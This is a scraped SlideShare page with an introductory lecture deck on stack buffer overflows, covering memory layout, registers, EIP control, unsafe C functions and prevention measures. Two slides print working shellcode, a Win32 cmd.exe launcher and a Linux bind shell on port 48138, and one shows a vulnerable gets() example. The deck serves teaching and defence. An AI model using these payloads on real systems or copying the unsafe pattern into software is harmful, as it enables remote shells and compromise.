SlideShare a Scribd company logo
          Buffer Overflows by: Saurabh Sharma
			   BUFFER
Buffer: The memory area where the user input is stored.Overflow: The user input exceeds the maximum size of the buffer, overwriting the other areas of the memory and corrupting those areas.Anatomy of Buffer Overflows
void get_input() {    char buf[1024];    gets(buf);}void main(intargc, char*argv[]){get_input();}User controls the input. Malicious user can supply the input of more than 500 chars. So what ??User can supply a malicious input which can execute some  other exe. This can also be your cmd.exe and may lead to the system compromise.A small example
Text: Contains instructionsData: Contains initialized variablesBSS: Contains uninitialized global and static variables(initialized to 0)Heap: Contains dynamic, uninitialized data(malloc())Stack: Contains function arguments and local variablesMemory overview
Stack Frame:holds variables and data for functionStack grows from higher memory location to lower memory locationHeap: lower to higherMemory overview
General purpose: For basic calculations.ESI, EDI: Used mostly with arraysFlags: Outcome of several instructions set the flagsSegment: Code, stack, data.EBP:Base pointer, points to the beginning of the current stack frameESP: Stack pointer, points to the top of the stackEIP: Instruction pointer, points to the next instructionREGISTERS
Stack is a LIFO data structure. Temporary memory, formed when the function called.A new stack frame created when the function is called.The return address is saved just above the local variables.Stack LayoutLower addressparametersReturn addr(saved EIP)Saved EBPStack growsLocal variablesHigher address
So, if the EIP can be controlled, the next instruction to be executed can be controlled.Stack LayoutLower addressparametersReturn addr(saved EIP)Saved EBPStack growsLocal variablesHigher address
Machine code which is injected into the overflown bufferDoes the work for youWORK: executing a third program, adding an administrator etc.SHELLCODE
win32/xp sp2 (En) cmd.exe 23 bytes Author : MountassifMoad A.K.A : "\x8b\xec\x68\x65\x78\x65" "\x20\x68\x63\x6d\x64\x2e" "\x8d\x45\xf8\x50\xb8\x8D" "\x15\x86\x7C\xff\xd0"; EXAMPLE SHELLCODES(SMALL)
BY NRAZIZ * * */ /* * Binds to port 48138 * Password: haxor */ char bindcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x31\xd2\x52\x66\x68\xbc\x0a\x66\x6a\x02\x89\xe2\x6a" "\x10\x52\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a" "\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc9" "\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31" "\xdb\x53\x6a\x3a\x68\x50\x61\x73\x73\x89\xe6\x6a\x05" "\x56\x6a\x04\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x31\xc9" "\x31\xf6\x51\x6a\x05\x52\x6a\x04\x89\xe1\xb3\x0a\xb0" "\x66\xcd\x80\x31\xc9\x51\x6a\x72\x68\x68\x61\x78\x6f" "\x89\xe7\x89\xd6\x80\xc1\x05\xfc\xf3\xa6\x75\xbf\x31" "\xc9\xb3\x04\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0" "\x01\xcd\x80"EXAMPLE SHELLCODES(bigger)
DEMO
strcpy() strcat() sprintf() scanf() sscanf() fscanf() vfscanf() vsprintfvscanf() vsscanf() streadd() strecpy() strtrns() MAJOR SNARES
Buffer size must be checkedUse alternative functions e.g. strncpy(dst, src, dst_size-1) instead of strcpy(dst, src)Other protection mechanisms like /GS(stack cookie), ASLR, SafeSEH compilationPREVENTION
http://www.cccure.org/amazon/idssignature.pdfhttp://www.shell-storm.org/papers/files/539.pdfhttp://c0re.23.nu/~chris/data/bo-2004.pdfhttp://www-inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdfREFERENCES
                             ?????????????????QUESTIONS

More Related Content

PDF
Presentation buffer overflow attacks and theircountermeasures
PPT
Buffer Overflows
PPT
Buffer Overflow Attacks
PPTX
Buffer overflow
PPT
6 buffer overflows
PDF
Buffer overflow null
PPTX
Buffer overflow attacks
PPTX
Anatomy of a Buffer Overflow Attack
Presentation buffer overflow attacks and theircountermeasures
Buffer Overflows
Buffer Overflow Attacks
Buffer overflow
6 buffer overflows
Buffer overflow null
Buffer overflow attacks
Anatomy of a Buffer Overflow Attack

What's hot (20)

PDF
Buffer overflow attacks
PPTX
Control hijacking
PPTX
Buffer overflow attacks
PPTX
08 - Return Oriented Programming, the chosen one
PDF
2.Format Strings
PPTX
Buffer overflow explained
PDF
How to find_vulnerability_in_software
PDF
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
PDF
Python build your security tools.pdf
PDF
Possibility of arbitrary code execution by Step-Oriented Programming
ODP
Os Cook
PPTX
Buffer overflow attack
PDF
Dynamic Binary Instrumentation
PDF
Course lecture - An introduction to the Return Oriented Programming
PDF
Linux Shellcode disassembling
PDF
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
PPTX
Penetration testing using python
PPTX
How Safe is your Link ?
PPTX
07 - Bypassing ASLR, or why X^W matters
PDF
Windows persistence presentation
Buffer overflow attacks
Control hijacking
Buffer overflow attacks
08 - Return Oriented Programming, the chosen one
2.Format Strings
Buffer overflow explained
How to find_vulnerability_in_software
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
Python build your security tools.pdf
Possibility of arbitrary code execution by Step-Oriented Programming
Os Cook
Buffer overflow attack
Dynamic Binary Instrumentation
Course lecture - An introduction to the Return Oriented Programming
Linux Shellcode disassembling
Leak kernel pointer by exploiting uninitialized uses in Linux kernel
Penetration testing using python
How Safe is your Link ?
07 - Bypassing ASLR, or why X^W matters
Windows persistence presentation
Ad

Viewers also liked (11)

PDF
Frequency Modulation In Data Transmission
PDF
Angle mod for stdnts 25 apr
DOCX
seminar report on multiple access control protocol submitted by munesh
PPTX
Encoding and Decoding
DOC
تاريخ اولى ثانوى 2014 جزء اول
PDF
The Encoding
PPTX
Encoding/Decoding Stuart Hall
PPTX
Multiple access protocol
PDF
PPT
Chapter 4 frequency modulation
PPSX
Multiple access control protocol
Frequency Modulation In Data Transmission
Angle mod for stdnts 25 apr
seminar report on multiple access control protocol submitted by munesh
Encoding and Decoding
تاريخ اولى ثانوى 2014 جزء اول
The Encoding
Encoding/Decoding Stuart Hall
Multiple access protocol
Chapter 4 frequency modulation
Multiple access control protocol
Ad

Similar to Buffer Overflow Demo by Saurabh Sharma (20)

ODP
Local Exploits
PDF
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
PDF
The Stack and Buffer Overflows
PPTX
Return Oriented Programming (ROP) Based Exploits - Part I
ODP
Exploiting Memory Overflows
PDF
Buffer Overflows 101: Some Assembly Required
PDF
Exploitation Crash Course
PDF
StackOverflow
PPTX
Software to the slaughter
PDF
Buffer overflow tutorial
PDF
127 Ch 2: Stack overflows on Linux
PDF
Buffer overflow attacks
PDF
CNIT 127 Ch 2: Stack overflows on Linux
PDF
CNIT 127 Ch Ch 1: Before you Begin
PDF
rop heap attacks cfi int overflows computer security
PPT
Buffer OverFlow
PDF
CNIT 127 Ch 2: Stack overflows on Linux
PDF
Buffer Overflow - Smashing the Stack
PDF
CNIT 127 Ch 1: Before you Begin
PPTX
Buffer overflow – Smashing The Stack
Local Exploits
Smash the Stack: Writing a Buffer Overflow Exploit (Win32)
The Stack and Buffer Overflows
Return Oriented Programming (ROP) Based Exploits - Part I
Exploiting Memory Overflows
Buffer Overflows 101: Some Assembly Required
Exploitation Crash Course
StackOverflow
Software to the slaughter
Buffer overflow tutorial
127 Ch 2: Stack overflows on Linux
Buffer overflow attacks
CNIT 127 Ch 2: Stack overflows on Linux
CNIT 127 Ch Ch 1: Before you Begin
rop heap attacks cfi int overflows computer security
Buffer OverFlow
CNIT 127 Ch 2: Stack overflows on Linux
Buffer Overflow - Smashing the Stack
CNIT 127 Ch 1: Before you Begin
Buffer overflow – Smashing The Stack

More from n|u - The Open Security Community (20)

PDF
Hardware security testing 101 (Null - Delhi Chapter)
PPTX
SSRF exploit the trust relationship
PDF
PDF
Api security-testing
PDF
Introduction to TLS 1.3
PDF
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
PDF
Talking About SSRF,CRLF
PPTX
Building active directory lab for red teaming
PPTX
Owning a company through their logs
PPTX
Introduction to shodan
PDF
Detecting persistence in windows
PPTX
Frida - Objection Tool Usage
PDF
OSQuery - Monitoring System Process
PDF
DevSecOps Jenkins Pipeline -Security
PDF
Extensible markup language attacks
PPTX
PDF
Hardware security testing 101 (Null - Delhi Chapter)
SSRF exploit the trust relationship
Api security-testing
Introduction to TLS 1.3
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Talking About SSRF,CRLF
Building active directory lab for red teaming
Owning a company through their logs
Introduction to shodan
Detecting persistence in windows
Frida - Objection Tool Usage
OSQuery - Monitoring System Process
DevSecOps Jenkins Pipeline -Security
Extensible markup language attacks

Recently uploaded (20)

PDF
CIFDAQ's Market Insight: SEC Turns Pro Crypto
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
How Onsite IT Support Drives Business Efficiency, Security, and Growth.pdf
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
AI And Its Effect On The Evolving IT Sector In Australia - Elevate
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Advanced IT Governance
PDF
Empathic Computing: Creating Shared Understanding
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
HCSP-Presales-Campus Network Planning and Design V1.0 Training Material-Witho...
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
madgavkar20181017ppt McKinsey Presentation.pdf
PDF
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PPTX
Big Data Technologies - Introduction.pptx
CIFDAQ's Market Insight: SEC Turns Pro Crypto
Reach Out and Touch Someone: Haptics and Empathic Computing
How Onsite IT Support Drives Business Efficiency, Security, and Growth.pdf
Spectral efficient network and resource selection model in 5G networks
AI And Its Effect On The Evolving IT Sector In Australia - Elevate
Understanding_Digital_Forensics_Presentation.pptx
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Diabetes mellitus diagnosis method based random forest with bat algorithm
Advanced IT Governance
Empathic Computing: Creating Shared Understanding
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
Per capita expenditure prediction using model stacking based on satellite ima...
HCSP-Presales-Campus Network Planning and Design V1.0 Training Material-Witho...
Advanced methodologies resolving dimensionality complications for autism neur...
madgavkar20181017ppt McKinsey Presentation.pdf
solutions_manual_-_materials___processing_in_manufacturing__demargo_.pdf
GamePlan Trading System Review: Professional Trader's Honest Take
“AI and Expert System Decision Support & Business Intelligence Systems”
Big Data Technologies - Introduction.pptx

Buffer Overflow Demo by Saurabh Sharma

  • 1. Buffer Overflows by: Saurabh Sharma
  • 2. BUFFER
  • 3. Buffer: The memory area where the user input is stored.Overflow: The user input exceeds the maximum size of the buffer, overwriting the other areas of the memory and corrupting those areas.Anatomy of Buffer Overflows
  • 4. void get_input() { char buf[1024]; gets(buf);}void main(intargc, char*argv[]){get_input();}User controls the input. Malicious user can supply the input of more than 500 chars. So what ??User can supply a malicious input which can execute some other exe. This can also be your cmd.exe and may lead to the system compromise.A small example
  • 5. Text: Contains instructionsData: Contains initialized variablesBSS: Contains uninitialized global and static variables(initialized to 0)Heap: Contains dynamic, uninitialized data(malloc())Stack: Contains function arguments and local variablesMemory overview
  • 6. Stack Frame:holds variables and data for functionStack grows from higher memory location to lower memory locationHeap: lower to higherMemory overview
  • 7. General purpose: For basic calculations.ESI, EDI: Used mostly with arraysFlags: Outcome of several instructions set the flagsSegment: Code, stack, data.EBP:Base pointer, points to the beginning of the current stack frameESP: Stack pointer, points to the top of the stackEIP: Instruction pointer, points to the next instructionREGISTERS
  • 8. Stack is a LIFO data structure. Temporary memory, formed when the function called.A new stack frame created when the function is called.The return address is saved just above the local variables.Stack LayoutLower addressparametersReturn addr(saved EIP)Saved EBPStack growsLocal variablesHigher address
  • 9. So, if the EIP can be controlled, the next instruction to be executed can be controlled.Stack LayoutLower addressparametersReturn addr(saved EIP)Saved EBPStack growsLocal variablesHigher address
  • 10. Machine code which is injected into the overflown bufferDoes the work for youWORK: executing a third program, adding an administrator etc.SHELLCODE
  • 11. win32/xp sp2 (En) cmd.exe 23 bytes Author : MountassifMoad A.K.A : "\x8b\xec\x68\x65\x78\x65" "\x20\x68\x63\x6d\x64\x2e" "\x8d\x45\xf8\x50\xb8\x8D" "\x15\x86\x7C\xff\xd0"; EXAMPLE SHELLCODES(SMALL)
  • 12. BY NRAZIZ * * */ /* * Binds to port 48138 * Password: haxor */ char bindcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x31\xd2\x52\x66\x68\xbc\x0a\x66\x6a\x02\x89\xe2\x6a" "\x10\x52\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x6a" "\x02\x6a\x03\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc9" "\x51\x51\x6a\x03\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31" "\xdb\x53\x6a\x3a\x68\x50\x61\x73\x73\x89\xe6\x6a\x05" "\x56\x6a\x04\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x31\xc9" "\x31\xf6\x51\x6a\x05\x52\x6a\x04\x89\xe1\xb3\x0a\xb0" "\x66\xcd\x80\x31\xc9\x51\x6a\x72\x68\x68\x61\x78\x6f" "\x89\xe7\x89\xd6\x80\xc1\x05\xfc\xf3\xa6\x75\xbf\x31" "\xc9\xb3\x04\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0" "\x01\xcd\x80"EXAMPLE SHELLCODES(bigger)
  • 13. DEMO
  • 14. strcpy() strcat() sprintf() scanf() sscanf() fscanf() vfscanf() vsprintfvscanf() vsscanf() streadd() strecpy() strtrns() MAJOR SNARES
  • 15. Buffer size must be checkedUse alternative functions e.g. strncpy(dst, src, dst_size-1) instead of strcpy(dst, src)Other protection mechanisms like /GS(stack cookie), ASLR, SafeSEH compilationPREVENTION
  • 17. ?????????????????QUESTIONS